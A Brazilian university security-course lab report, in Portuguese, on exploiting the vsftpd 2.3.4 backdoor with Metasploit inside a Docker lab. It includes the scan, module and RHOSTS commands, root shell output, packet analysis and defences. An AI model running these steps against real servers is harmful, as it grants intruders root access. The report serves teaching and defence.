Universidade de São Paulo

Prova 2
Ataque com Metasploit

SSC0900 - Engenharia de Segurança

Bruno Piazera Larsen N^o USP: 9283872
Flavio Vinicius Vieira Santana N^o USP: 9866552

5 de Junho de 2020

Conteúdo

1 Introdução **2**

2 Roteiro de implementação **2**
2.1 Pré-requisitos 2
2.2 Configurando o ambiente 2
2.3 Iniciando o ataque 3

3 Análise dos pacotes **5**

4 Possíveis defesas **6**

1 Introdução

Em algum momento entre 30 de Junho e 1º de Julho de 2011, um agente malicioso desconhecido conseguiu inserir uma vulnerabilidade proposital, conhecida como backdoor, na versão 2.3.4 do programa vsFTPd.[1]

A backdoor é bastante simples. Se o usuário usado é ":)", não importando a senha utilizada, uma conexão é aberta na porta 6200, com permissões de root. O ataque escolhido nesse relatório consiste em aproveitar a backdoor escondida.

2 Roteiro de implementação

2.1 Pré-requisitos

Para preparar o ambiente onde será executado o ataque foi utilizada a ferramenta Docker. Assim, para reproduzir o ataque com o roteiro presente nesse documento, será necessário instalar a Docker Engine[2]. Como a instalação é dependente de plataforma, ela não será explicada nesse documento.

O Docker possibilita a virtualização de processos que chamamos de containers. Esses containers, são criados a partir de imagens. Uma imagem define quais softwares estarão disponíveis no container. Para descrever o que deve ser instalado dentro de cada imagem foram utilizados Dockerfiles.

Assim a imagem do atacante é construída com a configuração especificada no Dockerfile na pasta "atacante". No container do atacante serão instalados o Metasploit e o tcpdump.

Para a imagem da vítima, utilizamos uma imagem baseada no ambiente de testes Metasploitable 2[3], que simula uma máquina altamente vulnerável.

2.2 Configurando o ambiente

Assumindo que a ferramenta Docker Engine está devidamente instalada, vamos iniciar a preparação do ambiente.

Em um terminal, a partir da pasta raiz do projeto, entre na pasta do atacante:

```
cd attacker
```

Esse será o terminal do atacante. Agora construa a imagem do atacante:

```
docker build -t "attacker" .
```

Abra um novo terminal para ser o terminal da vítima. A partir da raiz do projeto, entre na pasta da vítima e construa sua imagem:

```
cd victim
docker build -t "victim" .
```

No terminal da vítima, quando o download da imagem tiver terminado, inicie o container da vítima:

```
docker run -it --volume=/tmp/victim/:/data victim:latest
```

Observe que será montado um volume no caminho "/tmp/victim/"no seu computador. Ele servirá para ter acesso ao o arquivo do tcpdump quando capturarmos o ataque.

No terminal do atacante, quando o download da imagem tiver terminado, inicie o container do atacante:

```
docker run -it attacker:latest
```

A configuração do ambiente está finalizada, temos dois containers executando, um tem o terminal do atacante e o outro tem o terminal da vítima.

2.3 Iniciando o ataque

Agora que o ambiente está configurado, iniciaremos o ataque. Para esse ataque suporemos que já conhecemos o endereço IP da vítima, então não será feito um escaneamento por hosts ativos.

Utilizando o terminal da vítima, descobriremos seu IP:

```
ip addr
```

Descobrimos que o endereço IP da interface eth0 da vítima é 172.17.0.3. Esse será o endereço da vítima.

Agora vamos para o terminal do atacante e iniciemos o Metasploit:

```
./msfconsole -r docker/msfconsole.rc -y config/database.yml
```

Esse comando inicia o Metasploit com algumas configurações. Entre elas, permite ao Metasploit utilizar um banco de dados para fazer pesquisas e armazenar dados mais rapidamente.

Com o endereço da vítima em mãos, dentro do Metasploit, utilizaremos o comando:

```
nmap -T4 -A -v 172.17.0.3
```

Esse comando escaneia as portas abertas da vítima e tenta detectar sua versão de sistema operacional. A saída desse comando é bem longa, mas para esse roteiro estamos interessados na seguinte parte:

```
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 172.17.0.2
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
```

```
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
```

Essa parte mostra que temos uma versão antiga ("vsftpd 2.3.4") de um serviço ftp rodando na porta 21. Se procurarmos na internet, veremos que existe uma vulnerabilidade conhecida nessa versão do vsftpd.

Buscamos em nosso banco de dados do Metasploit por algum possível módulo para esse serviço:

```
search vsftpd
```

Na saída, encontramos um módulo chamado "exploit/unix/ftp/vsftpd_234_backdoor". Em sua descrição vemos "VSFTPD v2.3.4 Backdoor Command Execution". Ou seja, ele possibilita a execução de um backdoor utilizando exatamente o serviço e versão que encontramos no servidor da vítima.

Usamos o módulo e com o comando "show info"podemos ver algumas informações gerais sobre o módulo:

```
use exploit/unix/ftp/vsftpd_234_backdoor
show info
```

Para conseguir usar o exploit, vamos configurá-lo. Primeiro listamos as opções de parâmetros configuráveis:

```
show options
```

Vemos que a opção RPORT já está configurada para a porta 21. Então configuramos o endereço do alvo na opção RHOSTS:

```
set RHOSTS 172.17.0.3
```

Para ver se o valor do atributo RHOSTS foi realmente alterado, utilizamos novamente o comando:

```
show options
```

Nesse ponto, temos todas as configurações para iniciar o exploit. Mas antes, vamos capturar os pacotes que serão enviados para poder analisá-los depois. Como estamos utilizando o terminal do atacante para fazer o ataque, utilizaremos o terminal da vítima para fazer a captura. Utilize o seguinte comando no terminal da vítima:

```
tcpdump -i eth0 -nn -s0 -v -w /data/victimDump.pcap
```

Como a pasta "/data/"da vítima é um "espelho"com a pasta "/tmp/victim/"no nosso computador, teremos acesso ao arquivo "victimDump.pcap"em nosso computador na pasta "/tmp/victim/".

Voltando ao terminal do atacante, executamos o comando exploit:

```
exploit
```

Se obtivemos sucesso, a última saída desse comando deve ser similar a:

```
[*] Command shell session 1 opened (0.0.0.0:0 -> 172.17.0.3:6200)
    at 2020-05-14 14:02:54 +0000
```

Isso indica que conseguimos abrir um terminal no servidor da vítima. Podemos utilizar comandos como:

```
ls
whoami
```

Para verificar que temos acesso à máquina. Podemos fechar o terminal de acesso com o comando:

```
exit
```

Utilizar o comando "back"para voltar para o início do Metasploit. Em seguida o comando "quit"para sair do Metasploit. E o comando "exit"para sair do terminal do atacante.

```
back
quit
exit
```

No terminal da vítima pressionamos Ctrl+c para encerrar a captura do tcpdump. Então "exit"para sair do terminal da vítima.

```
exit
```

Ao final desse processo, temos acesso em nosso computador ao arquivo "victimDump.pcap"que fica na pasta "/tmp/victim/".

3 Análise dos pacotes

O arquivo de captura começa com requisições ARP, que não fazem parte do ataque, então podemos começar a análise a partir do pacote de numero 3. Além disso, podemos ignorar o pacote de número 38, é uma comunicação que vem do host dos dockers, não do atacante nem da vítima, devido a um daemon do dropbox.

Pode-se ver 4 momentos distintos: A descoberta (representado pelos pacotes 3 e 4), aproveitando a backdoor (nos pacotes 5-15), a obtenção de informação (nos pacotes 16-40) e termino da comunicação (41-44). Vamos analisar cada momento em detalhe.

A descoberta é o momento que o comando nmap do atacante tenta descobrir quais são as portas abertas da vítima. O Nmap manda pacotes TCP SYN, que serão respondidos com SYN ACK se a porta estiver aberta (como a porta 21) ou serão respondidos com RST ACK se a porta estiver fechada como a porta 6200. Um exemplo da porta fechada se encontra nos pacotes 3 e 4.

A partir do pacote numero 5, o atacante começa a se conectar com o servidor ftp. O pacote 8 - primeiro depois do handshake TCP - mostra o servidor pedindo um usuário e o pacote 10 mostra o atacante respondendo com o usuário ":)"(que ativa a backdoor). A comunicação continua no pacote 12 pedindo uma senha, e o

pacote 14 mostra a senha enviada. Os pacotes ímpares mostram simplesmente o pacote TCP que indica o recebimento das mensagens, por isso não foram analisados até agora, no entanto o pacote 15 indica que a senha foi recebida mas o servidor não quer enviar a resposta do servidor FTP - provavelmente para parecer uma conexão legítima durante o ataque.

No pacote 16, algo muito interessante acontece: a porta 6200 que antes respondia com TCP RST, agora aceitou a conexão. Os pacotes ímpares a partir do número 19 mostram a comunicação entre o atacante e a vítima, mostrando no pacote 21 que o atacante está logado como usuário root. Os pacotes 31 e 33 mostram o atacante obtendo informações do sistema com o comando "ls"e os pacotes 35 e 36 mostram novamente que o atacante é o usuário root, através do comando "whoami", além de alguns outros pacotes menos importantes.

Por fim, a última seção da captura mostra o término das comunicações. O pacote 39 mostra o atacante usando o comando "exit"para terminar a seção, com o final da conexão TCP da porta 6200 ocorrendo nos pacotes 40, 43 e 44. Enquanto isso, no pacote 42 o servidor finalmente dá a resposta do servidor FTP: 500 oops. No pacote 42, a conexão é terminada usando TCP RST. Com isso o ataque é terminado.

4 Possíveis defesas

A defesa mais simples para se usar é atualizar o daemon do servidor para uma versão mais recente. No entanto, vamos avaliar um caso em que isso não é possível.

Para uma rede suficientemente complexa e um atacante fora dela, pode-se ter um servidor NAT com port-forwarding ao invés de ter o servidor aberto diretamente na rede. Desse modo, mesmo que o atacante tente conectar na porta 6200, se não foi feito port-forwarding dessa porta em específico, a backdoor é inofensiva.

Se o servidor não está atrás de um NAT com port-forwarding ou o atacante está dentro da rede, é possível configurar um *stateful firewall* capaz de bloquear esse ataque. Um stateful firewall leva em consideração o estado de uma conexão, podendo cancelar conexões se elas forem novas, mas mantendo-as abertas se já existirem. Nesse caso, é possível bloquear conexões novas na porta 6200 mesmo que ela tenha sido aberta para conexões.

Referências

[1] Disponível em: `https://en.wikipedia.org/wiki/Vsftpd`. Acesso em: 03 de Junho de 2020.

[2] Disponível em: `https://docs.docker.com/get-docker/`. Acesso em: 14 de Maio de 2020.

[3] Disponível em: https://metasploit.help.rapid7.com/docs/metasploitable-2. Acesso em: 14 de Maio de 2020.